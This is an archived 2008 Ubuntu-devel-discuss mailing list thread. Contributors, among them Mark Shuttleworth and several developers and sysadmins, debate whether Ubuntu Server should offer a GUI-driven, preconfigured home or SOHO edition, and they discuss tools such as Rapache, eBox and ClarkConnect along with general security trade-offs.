of free, distributed mesh-like DNS >system that relies on trusted hosts - eg: Friends' devices. That would >be cool!) Last year I had a serious hardware problem and the only solution was to build and deploy a new box (long story - bad idea on my part got me in a bad spot). When I started with the parts for the server in boxes it didn't take me 6 hours to set up. >As something aimed straight at the Ubuntu desktop, this could use Avahi >from top to bottom to expose services and be automatically configured by >scripts on clients. þÿMaybe Nautilus could list another Place which for >the server's public files. >It would not be just 'vanilla Apache and PHP and MySQL for your web >development convenience. Go find the avahi running by default on a server. >I think that could be a pretty powerful thing. There is a lot of >software that needs repetitive configuration, a problem which could be >overcome by a server that complements Ubuntu and is entirely powered by >autodetection instead of needing convoluted guides and config files. > Oh gee let's get rid of all this complexity that is only put there to confuse us is something that's often requested, but harder to do in real life. Fortunately no one who knows about this stuff should be involved in your project. > >I mention that this could be edgy, because right now the non-free >competition are working really hard on their online services and big >screen media centres. This sort of thing for Ubuntu would be an >interesting shot back, encouraging the idea of individual users owning >single low-power servers like Linutop, hooked up to their routers >(perhaps placed right below them, or acting as routers themselves) to >centralize all that stuff. All the devices in one's possession are then >working on a convenient client-server model. In contrast to the >competition's centralization, this would be a single personal server >that can be trusted and that can be customized, has no subscription fees >and prevents the confusing dilution that occurs when one's identity >spreads over hundreds of competing online services, which is bound to >happen as long as we continue to use the current poorly integrated web >based applications. > >Basically, I agree that there should be a project dedicated to a >pre-configured personal server system, because that would change the >entire world... but calling it Ubuntu Server would very much limit its >growing room. > The fundamental problem here is unique to neither the sever nor the desktop. In Ubuntu we are organized around providing a single box to meet a certain use (desktop, server, whatever). There is no one particularly minding the larger qustion of the next level of system that integrates multiple boxes. We need such an effort to move thing to another level and while people who understand both desktops and servers need to be involved, it's really a higher order of problem. Scott K P.S. The Ubuntu desktop experience is much larger than Gnome. -- Ubuntu-devel-discuss mailing list Ubuntu-devel-discuss@lists.ubuntu.com Modify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-devel-discuss
Re: Disappointed with Ubuntu Server, could be used by such a wider audience
Hello Tacone, People from the Windows world don't like the command line because it is all too easy to forget to do something that should be done. Not only that but one has to remember all the commands etc. GUI dialogs etc contain radio option buttons, checkboxes, Wizards etc protecting the user from doing stupid things, and, more importantly, making sure that certain things are done behind the scenes. This is what the masses are used to in the Windows world. Even Windows server is GUI based, not just the Windows desktop! This is not an argument that the Ubuntu server team is doing something wrong, it's just that there should be another offering too. If Ubuntu doesn't create a, let's for argument's sake, call it "Ubuntu Personal SOHO Server" (which contains Web server, Webmail server, File server) then Microsoft with its Microsoft Home Server (or a deriviative) with its patented proprietary standards such as PNRP (note PNRP is preinstalled on Vista (http://en.wikipedia.org/wiki/PNRP will win. I appreciate that PNRP might present a security issue but it's there and people will use it, particularly as IPv6 takes off which it soon will. The market for a "Ubuntu Personal SOHO Server" is huge and Microsoft knows it which is why it's already doing things in this area. Regards, Tony - Original Message From: tacone <[EMAIL PROTECTED]> To: ubuntu-devel-discuss@lists.ubuntu.com Sent: Friday, August 1, 2008 6:59:48 AM Subject: Re: Disappointed with Ubuntu Server, could be used by such a wider audience Scott Kitterman, on Thu Jul 31 17:38:30 BST 2008 > Generally you can do any server things from a desktop if you install the > needed things. For easy Apache configurations there is: > > https://launchpad.net/ubuntu/+source/rapache > > There's a pending request to have it backported to Hardy. > > What's needed are people who understand the under the hood part of servers > well enough to write such a thing and also care enough about the GUI > experience to do it. Ubuntu Server is a young project and is headed toward > being able to support such things, but it won't happen overnight. > > What we lack isn't ideas or understanding of the need, but people to do the > actual work to provide it. > > Scott K Hello, I am one of the developers of Rapache. I subscribed this ml just to answer ScottK and drop my 2 cents on the topic. I am likely to keep my subscription for the next week, if you like to reply. Disclaimer What follows may be a little delirious, but took me hours to put it together, so I sending it straight away. I'll post a more lucid rewrite on ubuntuweblogs when I get the time. And maybe open a blueprint about this. I really don't know if I am allowed to post on this mailing list, so bear with me if I am out of place. In what follows, I'll take Rapache as an example, but the point I'd like to make is, of course, general. I'd like to respectfully disagree with ScottK. Linux in general (as well as Ubuntu) generally lacks the understanding of the need of such desktop-to-server applications. The proof is, more than the lacking of such applications, the fact that Ubuntu lacks a related workgroup/team. Did I miss it ? Resources are of course limited and all things have a priority. The lack of a workgroup dedicated to 'develop guis to configure server things' just show they don't seem important enough at the moment. Have you ever seen a comment like this ? http://www.reddit.com/comments/6ncun/rapache_is_a_simple_apache_administration_tool_it/c04cxa1 I guess you have, and someone of you could even agree. As Bud Roth points, the point raised by Scottk doesn't seems really a lacking of ubuntu-server group itself. Let me elaborate: I had the pleasure to quickly present Rapache to the ubuntu-server meeting. They were really kind to me but became evident that a Gnome gui to configure Apache was not something inherently related to the #ubuntu-server workgroup. I then asked what was the right irc channel / workgroup to discuss this kind of application. The answer was Rapache seemed to be something in between ubuntu-server and ubuntu-desktop. Who's going to care about taking care of this kind of applications in Ubuntu? My experience What do I agree with ScottK is the wider audience thing. I used to work in a non-tech savy environment (a computer magazines publisher, lol). Some facts about it: 1) I could get permission to use Ubuntu as local network web-development server, as long as I provided to perform the actual installation myself. 2) The only thing I got shouted about in the whole career there was.. daring to install ubuntu on my workstation. 3) Our (windows) sysadmin installed Ubuntu on a computer to be run Vmware machines on it. It choose Ubuntu because a) some colleague
Re: Disappointed with Ubuntu Server, could be used by such a wider audience
Hi, I don't want to comment this mail in particular, but regarding the difference of SysAdmins and HomeAdmins: There is a difference of people who are used to "graphical configuration stuff which hides a lot of important things which are important to real sysadmins". IMHO the usecase for Ubuntu Server is to reach the server market like debian or rhel or sles does...not to feed the person who is coming from the windows xp "I'm the admin" user. Yes, you can use even the desktop version of Ubuntu to install server services like apache, icecast, ftpd etc. But this is not the server usecase. And on a sidenote, I don't think web uis for admin work will help to secure a root server for personal homepages. And with this web uis I don't mean webapps like RHN or Landscape. Regards, \sh On Wed, 30 Jul 2008 18:14:06 -0700 (PDT) Anthony Watters <[EMAIL PROTECTED]> wrote: > [...] -- Ubuntu-devel-discuss mailing list Ubuntu-devel-discuss@lists.ubuntu.com Modify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-devel-discuss
Re: Disappointed with Ubuntu Server, could be used by such a wider audience
Hello Stephan, Fair comment, maybe a "Ubuntu Personal SOHO server" could be a spinoff from Ubuntu Desktop, namely provide ClarkConnect (http://clarkconnect.com) type install options when installing Ubuntu Desktop? Regards, Tony - Original Message From: Stephan Hermann <[EMAIL PROTECTED]> To: ubuntu-devel-discuss@lists.ubuntu.com Sent: Friday, August 1, 2008 2:32:00 PM Subject: Re: Disappointed with Ubuntu Server, could be used by such a wider audience Hi, I don't want to comment this mail in particular, but regarding the difference of SysAdmins and HomeAdmins: There is a difference of people who are used to "graphical configuration stuff which hides a lot of important things which are important to real sysadmins". IMHO the usecase for Ubuntu Server is to reach the server market like debian or rhel or sles does...not to feed the person who is coming from the windows xp "I'm the admin" user. Yes, you can use even the desktop version of Ubuntu to install server services like apache, icecast, ftpd etc. But this is not the server usecase. And on a sidenote, I don't think web uis for admin work will help to secure a root server for personal homepages. And with this web uis I don't mean webapps like RHN or Landscape. Regards, \sh On Wed, 30 Jul 2008 18:14:06 -0700 (PDT) Anthony Watters <[EMAIL PROTECTED]> wrote: > [...] -- Ubuntu-devel-discuss mailing list Ubuntu-devel-discuss@lists.ubuntu.com Modify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-devel-discuss -- Ubuntu-devel-discuss mailing list Ubuntu-devel-discuss@lists.ubuntu.com Modify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-devel-discuss
Re: Disappointed with Ubuntu Server, could be used by such a wider audience
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Hi all, I think this is my first post on this list so I make a little introduction of myself: I'm a SysAdmin for more than 10 years. Worked in different networks with all sorts of OSs ( SunOS, Irix, FreeBSD, NetbSD, OpenBSD, Linux (most popular Distros), Windows, Mac OS X) for server and desktop use. I do some Ubuntu work in the local German usergroup ubuntu-berlin. (It is an open user group for Ubuntu users in the Berlin area.) I really like to use the console to setup servers and desktop systems alike. So naturally I disagree with some parts in this thread ;-). But sometimes I use some GUIs for various SysAdmin task, too. Like phpldapadmin for some parts of LDAP administration, or SWAT for Samba Administration. But most of the time I use the console with vi, sed, awk and so on. Even to setup and maintain a /etc/ldap/slapd.conf files :-). This is secure, easy! and very very fast, if you know what you do. And I think it is not really hard to learn, if you really want to. But that's just my opinion... In the past month I have seen a lot of mail threads in various Ubuntu related mailinglists, where people ask why Ubuntu/Linux does not provide an easy way of doing things like Windows does. All the time I ask myself why should Linux and Ubuntu go the same way Microsoft does? And why does everybody thinks administration with Windows is easy? It is not! And I even think why do someone use Linux if he/she wants it to work the same way Windows does? Not that I do not think Ubuntu should invent new ways. But why has it to be a way someone already goes? And why a way that is not a good way... By the way ( ;-) ): someone who things administering a Windows Server is easy because you have a click and point interface, never setup a Windows Server for production use! It is not. Without the knowledge what you are doing, you are lost! And things will not work the way you expect it! This is one of the biggest marketing lie around. I have seen a lot of small companies where the network was broken, because everybody things system administration is so easy with Windows... For setting up servers and network in a secure and reliable way it is not the most important thing to have an easy to use interface. Most important is knowledge! Doing some conceptual work before deployment and knowing the pros and cons of your configuration are also important. Even if you use a nice "click here" and "click there" interface. That is also true for the mentioned Windows Vista (and Win XP; it also provides an "easy setup your network" mode) easy network setup mode. Note: I like the idea of having some easy way of integrating Ubuntu Server and Ubuntu Desktop boxes. It would be cool to setup an Ubuntu server with various features and the Ubuntu boxes get all these features "automagically". But this is not easily done! > > What's needed are people who understand the under the hood part of servers > well enough to write such a thing and also care enough about the GUI > experience to do it. Ubuntu Server is a young project and is headed toward > being able to support such things, but it won't happen overnight. > > What we lack isn't ideas or understanding of the need, but people to do the > actual work to provide it. > > Ok. Does the server team has a use for a console admin who sometimes uses the already available GUIs and who likes to disagree a lot with all this "server administration has to be easy" stuff? ;-) Than I am willing to help, if I can find the time. I am really good at setting up things and testing. Another thing somebody in this thread mentioned: There are already a lot of good SysAdmin GUIs for various administration tasks and most of them are already available as an Ubuntu package. Ok all these applications do not have a common "look & feel" but these tools work most of the time. Why not bundle it in a metapackage (ubuntu-server-gui-admin-stuff-metapackage ;-) ) for example? To mention some tools: - - SWAT - - phpLDAPAdmin - - luma (for LDAP administration) - - gbindadmin - GTK+ configuration tool for bind9 - - gdhcpd - GTK+ configuration tool for dhcpd3-server and a lot of other tools I do not know by heart. And now I know rapache ;-). I will take a look into this program immediately. I think with such tools installed it should be possible to setup a "home server" with GUIs. Not by everyone but interested people should have a start. You only have to know the names of all these programs. Regards, Michael -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFIkshaBvfZ5167qr8RAm/YAJ4jPXVf0pymptWhCN+RLi/iqex3YACfZHaU SOdtS/+Azj6YLx9tAoMVBMg= =gWqd -END PGP SIGNATURE- -- Ubuntu-devel-discuss mailing list Ubuntu-devel-discuss@lists.ubuntu.com Modify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-devel-discuss
Re: Disappointed with Ubuntu Server, could be used by such a wider audience
Hello Mark, I've had email correspondence with the editor of APCMag. I think it "might" be possible to get them to run an article on using Ubuntu desktop as a server with GUI/Web tools to create a Web Server/Webmail Server/File Server. APCMag have run several articles on Ubuntu desktop in the past assessing each version as to whether it was possible to live without Windows using Ubuntu Desktop so they might run such an article, we'll see. I'll probably have to send the editor a few more emails to stir the pot a bit. Okay, I'm done with this thread, it was worth a shot. Thanks everyone for the posts, very interesting. All the best, Regards, Tony P.S. I'll think about participating in one of the various projects e.g. eBox but that just seems to be a gateway offering at the moment. ClarkConnect seems to be much further along. I think the APCMag approach where they run a workshop type set of articles over several editions is probably more the go right now. If that doesn't work, I'll probably have a go myself and maybe even write a book on how to do it seeing as there is nothing on this right now. - Original Message From: Mark Shuttleworth <[EMAIL PROTECTED]> To: Anthony Watters <[EMAIL PROTECTED]> Cc: ubuntu-devel-discuss@lists.ubuntu.com Sent: Friday, August 1, 2008 4:39:06 PM Subject: Re: Disappointed with Ubuntu Server, could be used by such a wider audience The server is more difficult to define as a single "thing" than the desktop. We've taken the view that the best service we can provide to the free software community is to ensure that Ubuntu's server offering is highly modular, so you can start with something minimalist (the out of the box experience that you've seen) and then add the specific components you want. Ubuntu server follows from the Debian heritage of striving to be "the best platform for a serious Linux system administrator", and I think we succeed very much in delivering to that promise. I would credit the server team with great work in recent releases and am very excited by the plans they have committed to for 8.10. I do agree with you that this requires a more expert understanding of the free software stack, and thus is quite different to our promise with the Ubuntu desktop, which is "the easiest and most modular desktop experience possible with free software". I can understand that this creates a potential shock for users who are new to Linux, find Ubuntu very easy to use on the desktop, and then are dropped into the deep end when they install Ubuntu server. I would suggest, however, that those users can quite easily use the normal desktop edition as a server-with-GUI, and that there are a number of easy to use web administrated server management tools that are already available with Ubuntu. I think there has been a push to get eBox working well, and you might want to join that effort. This would allow someone to install a minimal server with eBox and be productive in the way you describe. I don't want Ubuntu server to lose it's minimalist, component oriented sensibilities, so I can't support your call to have a GUI out-of-the-box on the server. But I would welcome your participation in any of the existing efforts to make it possible to get the benefits of that minimalist approach together with an easy-to-use administrative interface, either GUI or web based. Mark -- Ubuntu-devel-discuss mailing list Ubuntu-devel-discuss@lists.ubuntu.com Modify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-devel-discuss
Re: Disappointed with Ubuntu Server, could be used by such a wider audience
On Fri, 01 Aug 2008 10:24:59 +0200 Michael Zoet <[EMAIL PROTECTED]> wrote: >Ok. Does the server team has a use for a console admin who sometimes >uses the already available GUIs and who likes to disagree a lot with >all this "server administration has to be easy" stuff? ;-) Than I am >willing to help, if I can find the time. I am really good at setting >up things and testing. Yes. You can join us on #ubuntu-server or at [EMAIL PROTECTED] Scott K -- Ubuntu-devel-discuss mailing list Ubuntu-devel-discuss@lists.ubuntu.com Modify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-devel-discuss
Re: Disappointed with Ubuntu Server, could be used by such a wider audience
The server is more difficult to define as a single "thing" than the desktop. We've taken the view that the best service we can provide to the free software community is to ensure that Ubuntu's server offering is highly modular, so you can start with something minimalist (the out of the box experience that you've seen) and then add the specific components you want. Ubuntu server follows from the Debian heritage of striving to be "the best platform for a serious Linux system administrator", and I think we succeed very much in delivering to that promise. I would credit the server team with great work in recent releases and am very excited by the plans they have committed to for 8.10. I do agree with you that this requires a more expert understanding of the free software stack, and thus is quite different to our promise with the Ubuntu desktop, which is "the easiest and most modular desktop experience possible with free software". I can understand that this creates a potential shock for users who are new to Linux, find Ubuntu very easy to use on the desktop, and then are dropped into the deep end when they install Ubuntu server. I would suggest, however, that those users can quite easily use the normal desktop edition as a server-with-GUI, and that there are a number of easy to use web administrated server management tools that are already available with Ubuntu. I think there has been a push to get eBox working well, and you might want to join that effort. This would allow someone to install a minimal server with eBox and be productive in the way you describe. I don't want Ubuntu server to lose it's minimalist, component oriented sensibilities, so I can't support your call to have a GUI out-of-the-box on the server. But I would welcome your participation in any of the existing efforts to make it possible to get the benefits of that minimalist approach together with an easy-to-use administrative interface, either GUI or web based. Mark -- Ubuntu-devel-discuss mailing list Ubuntu-devel-discuss@lists.ubuntu.com Modify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-devel-discuss
Re: Disappointed with Ubuntu Server, could be used by such a wider audience
Hi Anthony, all, On Fri, 1 Aug 2008 00:33:54 -0700 (PDT) Anthony Watters <[EMAIL PROTECTED]> wrote: > Fair comment, maybe a "Ubuntu Personal SOHO server" could be a > spinoff from Ubuntu Desktop, namely provide ClarkConnect > (http://clarkconnect.com) type install options when installing Ubuntu > Desktop? Well, I don't know this particular product, and I can't say if it will help the normal homeuser...it will help small companies (medium companies will and want to use something else), where only one or two admins are working. Administration work is timeconsuming, even when you only have a handful of servers, without using automations and admins are consuming money, too. But what do you (not you in particular) want to do at home? Setting up a webserver is easy...and adding a drupal or blog software, too. The default apache2 package from debian/ubuntu gives you most of the needed setup from the time after installation. You just need to adjust at least your IP or your hostname, but that's it. No need to install dangerous third level tool which are playing with the config and adding mostly uneeded stuff. I know usecases where those ui tools are necessary, e.g. in a small company (mostly <50 people) where the son of the boss is playing the admin because he heard of linux and he heard that internet^Wwww is easy to setup and needs to install a webserver for the homepage of this small company. Most likely those servers are hacked (or more scriptkiddied) in no time, and are used as spam gateway or whatever. I really can't recommend that. Yes, even admins are using UI tools like phpldapadmin, but those tools are not used to "setup/install/administrate the server in general", but gives a simple and plain ui for adding data to it (btwapache directory studio is much better for it ;)) but there is a difference between really doing admin work, where you need to touch the config files in /etc or whereever and the simple work you need to do at home..I know those lamp tools from windows, and it's horrible how those packages are degrading your system to a potential security risk for you and your family, because it's too easy to do something really stupid. People who are in need in having those services at home, they do already know what they need to do. People who don't know anything about those stuff, they should ask first someone who knows it. It's sad, that there are many companies and people who are announcing the easy setup of internet services (where internet == www in most cases). Back to my FMS , \sh > > - Original Message > From: Stephan Hermann <[EMAIL PROTECTED]> > To: ubuntu-devel-discuss@lists.ubuntu.com > Sent: Friday, August 1, 2008 2:32:00 PM > Subject: Re: Disappointed with Ubuntu Server, could be used by such a > wider audience > > Hi, > > I don't want to comment this mail in particular, but regarding the > difference of SysAdmins and HomeAdmins: There is a difference of > people who are used to "graphical configuration stuff which hides a > lot of important things which are important to real sysadmins". > > IMHO the usecase for Ubuntu Server is to reach the server market like > debian or rhel or sles does...not to feed the person who is coming > from the windows xp "I'm the admin" user. > > Yes, you can use even the desktop version of Ubuntu to install server > services like apache, icecast, ftpd etc. But this is not the server > usecase. > > And on a sidenote, I don't think web uis for admin work will help > to secure a root server for personal homepages. And with this web uis > I don't mean webapps like RHN or Landscape. > > Regards, > > \sh > > On Wed, 30 Jul 2008 18:14:06 -0700 (PDT) > Anthony Watters <[EMAIL PROTECTED]> wrote: > > > [...] > -- Ubuntu-devel-discuss mailing list Ubuntu-devel-discuss@lists.ubuntu.com Modify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-devel-discuss
Re: Disappointed with Ubuntu Server, could be used by such a wider audience
On Fri, Aug 1, 2008 at 3:26 PM, Stephan Hermann <[EMAIL PROTECTED]> wrote: > But what do you (not you in particular) want to do at home? > > Setting up a webserver is easy...and adding a drupal or blog software, > too. The default apache2 package from debian/ubuntu gives you most of > the needed setup from the time after installation. You just need to > adjust at least your IP or your hostname, but that's it. No need to > install dangerous third level tool which are playing with the config > and adding mostly uneeded stuff. What if you want to set up a (POP+SMTP) mail server? That's a lot more involved than just installing a package. It should be as easy as installing it and adding allowed addresses+logins. As you said, Apache is already that easy (though becomes more powerful with rapache), why stop there? What about a file/music/video server? A family has bought a box which will be used as central storage. Any computer in the LAN must have access to it (through NFS? Samba?), and the family wants to be able to play music by just starting Rhythmbox and discovering the server. The same goes for videos and Totem. > but there is a difference between really doing admin work, where you > need to touch the config files in /etc or whereever and the simple work > you need to do at home..I know those lamp tools from windows, and it's > horrible how those packages are degrading your system to a potential > security risk for you and your family, because it's too easy to do > something really stupid. That's what the GUI needs to prevent: doing stupid things. A GUI can do this much better than a configuration file. A GUI usually forces a sane configuration, while a config file has limitless possibilities. For example: I can imagine a simple button for a hypothetical Ubuntu Home Server which says: "Enable weblog". It will make sure a LAMP server is set up properly, and some default weblog software will be installed. Everything has been secured by default, through the system login. It just tells the user that it can find his weblog at a certain URL. It will also give directions for setting up the router and buying a domain name in order to make it accessible to the world. Remco -- Ubuntu-devel-discuss mailing list Ubuntu-devel-discuss@lists.ubuntu.com Modify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-devel-discuss
Re: Disappointed with Ubuntu Server, could be used by such a wider audience
Hi, On Fri, 1 Aug 2008 17:04:14 +0200 Remco <[EMAIL PROTECTED]> wrote: > On Fri, Aug 1, 2008 at 3:26 PM, Stephan Hermann <[EMAIL PROTECTED]> > wrote: > > But what do you (not you in particular) want to do at home? > > > > Setting up a webserver is easy...and adding a drupal or blog > > software, too. The default apache2 package from debian/ubuntu gives > > you most of the needed setup from the time after installation. You > > just need to adjust at least your IP or your hostname, but that's > > it. No need to install dangerous third level tool which are playing > > with the config and adding mostly uneeded stuff. > > What if you want to set up a (POP+SMTP) mail server? That's a lot more > involved than just installing a package. It should be as easy as > installing it and adding allowed addresses+logins. As you said, Apache > is already that easy (though becomes more powerful with rapache), why > stop there? Fact One: an ISP who allows people running smtp servers should be punished. Private users should use an SMTP Gateway at their ISP or on some root server, but shouldn't be able to send via smtp server <-> smtp server. (HInt: Spammers are using those methods) Setting up SMTP + POP3 server is definitly nothing you want to have at home...because it's unreliable. No usecase here. People who have a clue about those topics, don't do this, only people without a clue are trying to do this. That's my opinion and good to know that many of my colleagues are agreeing here. Fact Two: I don't even see a usecase to setup a public webserver at home. Yes, freaks like me or eventually you are doing that, but we know what we do...but to be honest, I have a webserver running which is not available from the outside...for public service there are enough servers who are providing those services much better). > What about a file/music/video server? A family has bought a box which > will be used as central storage. Any computer in the LAN must have > access to it (through NFS? Samba?), and the family wants to be able to > play music by just starting Rhythmbox and discovering the server. The > same goes for videos and Totem. Well, I would say, that a DreamBox is much better as homevideobox then any linux server...ok, buy a already installed mythbuntu box or whatever...don't deal with nfs, samba ...yourself. Most partnership will break doing thisreally. Serious, for a normal familiy I would advise to by ready made appliances..they are tested, and are usable (well not everytime, but they work in the set ranges of usecases). the prices for those appliances are most of the time cheaper then to by a good PC box for doing this. Well, the usecase that people want to watch their movies on the TV you didn't mention ;) > > > but there is a difference between really doing admin work, where you > > need to touch the config files in /etc or whereever and the simple > > work you need to do at home..I know those lamp tools from windows, > > and it's horrible how those packages are degrading your system to a > > potential security risk for you and your family, because it's too > > easy to do something really stupid. > > That's what the GUI needs to prevent: doing stupid things. A GUI can > do this much better than a configuration file. A GUI usually forces a > sane configuration, while a config file has limitless possibilities. A GUI will never prevent doing stupid things. If the GUI doesn't fit your needs, there is always the risk that you start playing around with something else and make things worse...it happened in the 90ties and it will happen in the 20ties..Really, a GUI doesn't help without the knowledge of what to do. It can actually help to ease your work when you know it, but having 500 or 1000 servers it's not possible to use GUI tools, there are better tools. > For example: I can imagine a simple button for a hypothetical Ubuntu > Home Server which says: "Enable weblog". It will make sure a LAMP > server is set up properly, and some default weblog software will be > installed. Everything has been secured by default, through the system > login. It just tells the user that it can find his weblog at a certain > URL. It will also give directions for setting up the router and buying > a domain name in order to make it accessible to the world. As I said, there are companies who are providing those services much better then you will ever do at home...they do backups for you, without your interaction, they have a contract that outages are only 0.01% per year to this server etc. all those services you can't get at home. And the work to stay up2date is much more then you imagine...even on Ubuntu and even with apt. You know, people with windows, they always get this little icon with updates available...how many of them are doing the updates everytime this pops up? (same question also comes for ubuntu or any linux distro in general). I do like the idea of an entainment home server or a media center edition of ubuntu, b
Re: Disappointed with Ubuntu Server, could be used by such a wider audience
On Thu, 2008-07-31 at 09:23 -0700, George Farris wrote: > On Thu, 2008-07-31 at 10:18 -0500, Tony Yarusso wrote: > > On Wed, Jul 30, 2008 at 8:14 PM, Anthony Watters > > <[EMAIL PROTECTED]> wrote: > > > The Ubuntu server should come in two offerings; i.e. the unfriendly > > > existing > > > Ubuntu server, and, more importantly to the masses, a friendly > > > pre-configured Ubuntu server that uses SME Server (http://smeserver.com) > > > and > > > ClarkConnect (http://clarkconnect.com) as a starting point only not > > > crippled, and much better. > > > > a) It's not unfriendly to those who run servers and know how these > > things are supposed to work. > > b) Servers absolutely should not come pre-configured, as that would > > mean that they were full of bloat and unnecessary applications (along > > with the security risks of having too many ports open), and would > > likely not be correctly configured for anyone. > > c) I don't know what SME Server even is, since they don't have a > > functional web site. Why would I trust anything like that? > > d) ClarkConnect looks largely like what I mentioned in b) - > > installing everything by default so you have as much bloat and open > > entry points as possible, something no server admin would touch with a > > 20-foot pole. > > > > Wow, this response seems to completely missed the entire point. > > Lets start again. Yes, contrary to popular "geek" culture, there are > people that would like to: > > A) Install a home server from CD > B) Login and be presented with a list of options for configuring that > server > C) Not have to understand how to run the server at the "guts" level. You forgot: D) Want to be cracked within a week Because as he said, if you pre-configure everything to super-duper-easy-peasy, you've also pre-configured it to super-duper-easy-peasy-to-crack. I'm personally disappointed by firewalls that allow outbound by default, because something could phone home if I put my trust in an application I shouldn't, but they're easy-peasy for users, so that's what people do. I can manually go through and fix it myself, but if some application is running about opening who knows how many ports and setting god-knows-what services to auto-start and mucking about with insecure options in config files...how many months is it going to take me to track all of that down? No way. -- Mackenzie Morgan http://ubuntulinuxtipstricks.blogspot.com apt-get moo signature.asc Description: This is a digitally signed message part -- Ubuntu-devel-discuss mailing list Ubuntu-devel-discuss@lists.ubuntu.com Modify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-devel-discuss
Re: Disappointed with Ubuntu Server, could be used by such a wider audience
On Fri, Aug 1, 2008 at 11:25 PM, Stephan Hermann <[EMAIL PROTECTED]> wrote: >Serious, for a normal familiy I would advise to by ready made >appliances..they are tested, and are usable (well not everytime, but If a security flaw is found in such an appliance it would be much harder to patch than one found in software. It does have the advantage that getting root on the appliance doesn't necessarily give you root on the PC. However we could do something similar with VM's, chroot jails or Plash. > And > the work to stay up2date is much more then you imagine...even on Ubuntu > and even with apt. > You know, people with windows, they always get this little icon with > updates available...how many of them are doing the updates everytime > this pops up? (same question also comes for ubuntu or any linux distro > in general). If a large part of the security model is having a trained monkey wait for updates to appear and click yes then the security model and UI is broken and should be fixed. I don't analyze updates to see if they are "good" or not (how can I? they are binary). I can see only two advantages to manual updates: if an update seriously breaks things we get more warning and we can decide to not update packages that we intend to remove. These seem easier to work around than being hacked. > I do like the idea of an entainment home server or a media center > edition of ubuntu, but it shouldn't be used for webserver or smtp > server at home (*shiver*) Having e.g. a simple webserver can be a handy way of copying files from machine to machine. Ironically it is much easier to get windows to talk to an http server than samba. -- John C. McCabe-Dansted PhD Student University of Western Australia -- Ubuntu-devel-discuss mailing list Ubuntu-devel-discuss@lists.ubuntu.com Modify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-devel-discuss
Re: Disappointed with Ubuntu Server, could be used by such a wider audience
On Sat, Aug 02, 2008 at 03:51:35PM +0800, John McCabe-Dansted wrote: > On Fri, Aug 1, 2008 at 11:25 PM, Stephan Hermann <[EMAIL PROTECTED]> wrote: > >Serious, for a normal familiy I would advise to by ready made > >appliances..they are tested, and are usable (well not everytime, but > > If a security flaw is found in such an appliance it would be much > harder to patch than one found in software. > It does have the advantage that getting root on the appliance doesn't > necessarily give you root on the PC. However we could do something > similar with VM's, chroot jails or Plash. Well, what we want is a simple tool to make families life happier, not scary. Yes, a security flaw on an appliance is serious, but having it bought from vendor X and have trust in this company I hope a security fix is on it's way. Regarding Ubuntu, yes, we do security updates, but I don't think people are following the -security ML or are interested in "XSS exploit in wordpress". Normally when you have such an appliance, everything goes automatically, and you don't need to put your hands on. Again, don't think like an expert...think like Mr. Smith and Mrs. Robinson. > > > And > > the work to stay up2date is much more then you imagine...even on Ubuntu > > and even with apt. > > You know, people with windows, they always get this little icon with > > updates available...how many of them are doing the updates everytime > > this pops up? (same question also comes for ubuntu or any linux distro > > in general). > > If a large part of the security model is having a trained monkey wait > for updates to appear and click yes then the security model and UI is > broken and should be fixed. I don't analyze updates to see if they are > "good" or not (how can I? they are binary). I can see only two > advantages to manual updates: if an update seriously breaks things we > get more warning and we can decide to not update packages that we > intend to remove. These seem easier to work around than being hacked. Ok and here it comes: Windows Updates don't say what is being fixed, actually nobody is interested, and most of the people I know are not caring about security anyways. Therefore, an automatic way of applying (security-) updates is necessary, but this integrated in the normal ubuntu desktop / ubuntu server will be a marketing desaster. For a home entertainment server this would be a good idea. > > > I do like the idea of an entainment home server or a media center > > edition of ubuntu, but it shouldn't be used for webserver or smtp > > server at home (*shiver*) > > Having e.g. a simple webserver can be a handy way of copying files > from machine to machine. Ironically it is much easier to get windows > to talk to an http server than samba. why would someone want that? If you need to copy files from one notebook to the pc, you are much more experienced then the normal family. An appliance can give you that possibility easily without thinking about it. But having all this pre-configured on ubuntu-desktop or server will again be a marketing desaster and a kick in all ubuntu pros bum. There is no easy way to give all people what they want. At least: You need to setup all yourself, or you buy a good appliance which fits your needs. Setting up all yourself without any clue about what you need to do, is IMHO a no go. Regarding the security aspect of appliances, there is a point, but I pay for it, so I have hands on the company who produced the appliance, and if they are not providing everything to make me happy and safe, there is always the possibility to go to court. Regards, \sh -- Ubuntu-devel-discuss mailing list Ubuntu-devel-discuss@lists.ubuntu.com Modify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-devel-discuss
Re: Disappointed with Ubuntu Server, could be used by such a wider audience
Folks, I've decided that I'll be using either the ClarkConnect (http://clarkconnect.com) which is Red Hat RHEL/Cent OS based or SME Server (www.smeserver.org) with PHP fired up. People on www.whirlpool.net.au report good experiences with both of these offerings. Both come preconfigured and have a Web GUI (YES!!!). To the poster who said that ISPs shouldn't allow SMTP servers being run, in Australia, the main ISPs will allow this (they'll also let you run your own servers etc) but if there's a spam problem they'll block the port until the problem is fixed. In some cases the port is initially blocked until you request it be unblocked. My understanding is that the configuration of ClarkConnect is such that it takes spam issues into consideration. Regards, Tony -- Ubuntu-devel-discuss mailing list Ubuntu-devel-discuss@lists.ubuntu.com Modify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-devel-discuss -- Ubuntu-devel-discuss mailing list Ubuntu-devel-discuss@lists.ubuntu.com Modify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-devel-discuss
Re: Disappointed with Ubuntu Server, could be used by such a wider audience
